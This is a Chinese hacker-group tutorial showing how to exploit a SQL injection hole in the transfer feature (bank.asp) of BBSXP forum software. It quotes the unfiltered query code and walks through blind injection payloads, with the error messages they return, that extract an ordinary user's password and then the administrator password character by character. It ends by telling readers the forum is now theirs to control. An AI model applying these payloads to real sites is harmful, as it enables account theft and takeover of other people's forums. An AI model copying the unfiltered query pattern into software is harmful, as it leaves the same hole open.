作者:红衣刺客
站点:http://www.icehack.com
小组主页:feelids.com
小组论坛:feelids.com/bbs/index.php
传说中的BBSXP是那么安全,可是最近对BBSXP的BUGS来报不断, N.E.V.E.R兄弟一口气写了5篇文章,基本上都是SQL Injection的问题,不知道最近Yuzi工作室的人是什么滋味(好象都气死了,最近主页访问不了)。
好了,废话不多说了,直入正题。bank.asp里有一段这样的代码,在第152行开始。
…
sql="select * from user where username="&request("dxname")&""
rs1.Open sql,Conn,1,3
if rs1.eof then
message=message&"查无此人的账号!"
end if
if message<>"" then
error(""&message&"")
end if
…
哈哈,这不是银行的转帐功能吗,可以吧你心爱的money转到别人都手里,(话外:谁那么傻啊)。又是一个低级错误,没做任何过滤,不用说,有的玩了。我们就利用这个转帐功能取得任意用户的密码。
假设社区区长叫ciker,那么我们就可以在转帐的输入框中输入:
ciker and len(userpass)=8 and 1
在转帐数额输入…等等,至少要1000元,让我猜一次密码就要给社区区长1000元?况且现在也没那么多钱,如何是好,呵呵,不用急,在里面输入1,单击确定,看看返回了什么信息。
-------------------------------------
关于错误的可能原因:
1.转帐不能低于1000!
---------------------------------------
那么恭喜你了,社区区长的密码长度为8。如果返回:
-------------------------------------
关于错误的可能原因:
1.转帐不能低于1000!
2.查无此人的账号!
---------------------------------------
那就说明你猜错了,密码长度不为8。
有了长度,继续猜密码。
ciker and left(userpass,1)=c and 1
返回:
-------------------------------------
关于错误的可能原因:
1.转帐不能低于1000!
---------------------------------------
对了,密码的第1位是c。然后继续,只要返回“1.转帐不能低于1000!”,不返回“2.查无此人的账号!”,就说明你猜的是对的。
ciker and left(userpass,2)=ci and 1
ciker and left(userpass,3)=cik and 1
ciker and left(userpass,4)=cike and 1
ciker and left(userpass,5)=ciker and 1
ciker and left(userpass,6)=ciker1 and 1
ciker and left(userpass,7)=ciker12 and 1
ciker and left(userpass,8)=ciker123 and 1
这样密码不就猜出来了,呵呵,不会耗费你心爱的Money吧,亲爱的BBSXP返回的错误信息正好可以帮助我们。
前台有了,该猜后台了。
ciker and exists (select administrators from clubconfig where len(adminpassword)=6) and 1
只返回“1.转帐不能低于1000!”,猜对了,后台密码是6位。
ciker and exists (select administrators from clubconfig where left(adminpassword,1)=’h’) and 1
只返回“1.转帐不能低于1000!”
对了,第一位是h继续猜。
ciker and exists (select administrators from clubconfig where left(adminpassword,2)=’ho’) and 1
ciker and exists (select administrators from clubconfig where left(adminpassword,3)=’hot’) and 1
ciker and exists (select administrators from clubconfig where left(adminpassword,4)=’hot1’) and 1
ciker and exists (select administrators from clubconfig where left(adminpassword,5)=’hot12’) and 1
ciker and exists (select administrators from clubconfig where left(adminpassword,6)=’hot123’) and 1
猜出来了,后台密码是hot123
哈哈,前台后台都有了,这个BBSXP社区的命运就在你手中了 :)
后记:希望BBSXP能早日修补这些问题,不知道BBSXP的商业版怎么样,没钱,买不起 :( 最后感谢亲爱的PinkEyes。
|